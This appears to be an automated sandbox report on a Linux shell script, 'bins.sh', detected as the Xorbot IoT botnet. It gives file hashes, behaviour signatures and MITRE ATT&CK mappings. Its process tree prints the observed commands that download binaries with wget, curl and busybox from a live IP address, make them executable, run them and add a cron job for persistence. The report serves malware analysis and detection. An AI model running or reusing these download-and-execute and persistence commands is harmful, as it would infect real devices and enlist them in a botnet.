Analysis
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max time kernel
150s -
max time network
153s -
platform
debian-9_armhf -
resource
debian9-armhf-20240611-en -
resource tags
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submitted
21-02-2025 02:46
General
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Target
bins.sh
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Size
10KB
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MD5
908f28c4ebdeb696d86b93f4afb9cb73
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SHA1
3415ecd1724d4da877740685a580688f56330561
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SHA256
dca697bba35dd8ce268263754e049b79821084c2a0c64ed556c66902721e8619
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SHA512
c826bb3910c158b873f9683474c490e9d8b136294af8b3fce33d8ff09bc28ba936424c36614c02f5c067325029b0170c34183f118ed30ca9197f1f17897f2f63
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SSDEEP
96:WK/D/f/a/p/Z/uTW6SXA2hUPCNNSLDdowLGipNtsHrfzRzxz2znzjz6cIt9zzRzu:WGlTNtsHr75Zkz36cIv5Zkz3VNtsHrS
Malware Config
Signatures
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Detects Xorbot 1 IoCs
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Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
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Xorbot family
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Contacts a large (2053) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
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Executes dropped EXE 1 IoCs
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Renames itself 1 IoCs
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Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
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Enumerates running processes
Discovers information about currently running processes on the system
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Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
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Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
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Writes file to tmp directory 3 IoCs
Malware often drops required files in the /tmp directory.
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵
- Executes dropped EXE
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/bin/rm/bin/rm bins.sh2⤵
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/usr/bin/wgetwget http://37.44.238.88/bins/8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ52⤵
- Writes file to tmp directory
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/usr/bin/curlcurl -O http://37.44.238.88/bins/8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ52⤵
- Checks CPU configuration
- Writes file to tmp directory
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/bin/busybox/bin/busybox wget http://37.44.238.88/bins/8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ52⤵
- Writes file to tmp directory
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/bin/chmodchmod 777 8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ52⤵
- File and Directory Permissions Modification
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/tmp/8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5./8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ52⤵
- Renames itself
- Reads runtime system information
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/bin/shsh -c "crontab -l"3⤵
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/usr/bin/crontabcrontab -l4⤵
- Reads runtime system information
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/bin/shsh -c "crontab -"3⤵
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
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/bin/rmrm 8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ52⤵
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/usr/bin/wgetwget http://37.44.238.88/bins/iwnOQoKO4P0UBdZG6qZhvNsD8Ue5TX1Ha82⤵
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Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
119KB
MD51b166b95f9cb4b079ef1b9ec8363ddf3
SHA10d8eb08add467b3b5474f9b25909297fe7c2839c
SHA25694a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
SHA512983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925
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Filesize
210B
MD5d5d504aa86c8458d6e0709ff5824a098
SHA13c74a29d0180c1b982ab8c447973015c9411b39d
SHA2568b9b339d29fe4af47d8840e2ab7d620b2d2d55ba9733be40d7ee40fbd5a4c10a
SHA512a95521de0bca9a9543566606bde468db6041b31062cac4623e0f24474f54f5667fa8d20036c1196b88534badac5ed876e1cabd9d48903a93d273af6dcb595d72